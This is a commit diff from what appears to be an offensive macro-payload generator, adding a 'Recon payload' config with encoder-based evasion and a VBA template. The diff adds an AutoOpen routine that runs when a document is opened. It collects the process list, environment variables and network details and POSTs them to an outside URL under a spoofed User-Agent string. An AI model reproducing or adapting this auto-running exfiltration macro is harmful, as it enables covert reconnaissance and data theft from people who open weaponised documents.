updated recon template

configs/recon.json

@@ -0,0 +1,14 @@
+{
+	"description": "Recon payload",
+	"template": "templates/payloads/recon-template.vba",
+	"varcount": 150,
+	"encodingoffset": 4,
+	"chunksize": 200,
+	"encodedvars": 	{
+				"URL":"http://ringzer0team.com"
+			},
+	"vars": 	[],
+	"evasion": 	["encoder"],
+	"payload": ""
+}
+

templates/payloads/recon-template.vba

@@ -3,12 +3,23 @@
 [use:env_list]
 [use:network_list]
 
+
+Sub AutoOpen()
+	env_query()
+End Sub
+
 Function env_query() As String
 	Dim env_query1 As String
+	Set env_query2 = CreateObject(decode("{[MSXML2.ServerXMLHTTP]}"))
 	env_query1 = process_list()
 	env_query1 = env_query1 & Chr(10) & env_list()
 	env_query1 = env_query1 & Chr(10) & network_list()
-	env_query = env_query1
+	decode(env_query1)
+	
+	URL = decode("[URL]")
+	env_query2.Open "POST", URL, False
+	env_query2.setRequestHeader decode({["User-Agent", "Mozilla/4.0 (compatible; Recon MSIE 6.0; Windows NT 5.0)"]})
+	env_query2.send(env_query1)
 End Function
 
 Function process_list() As String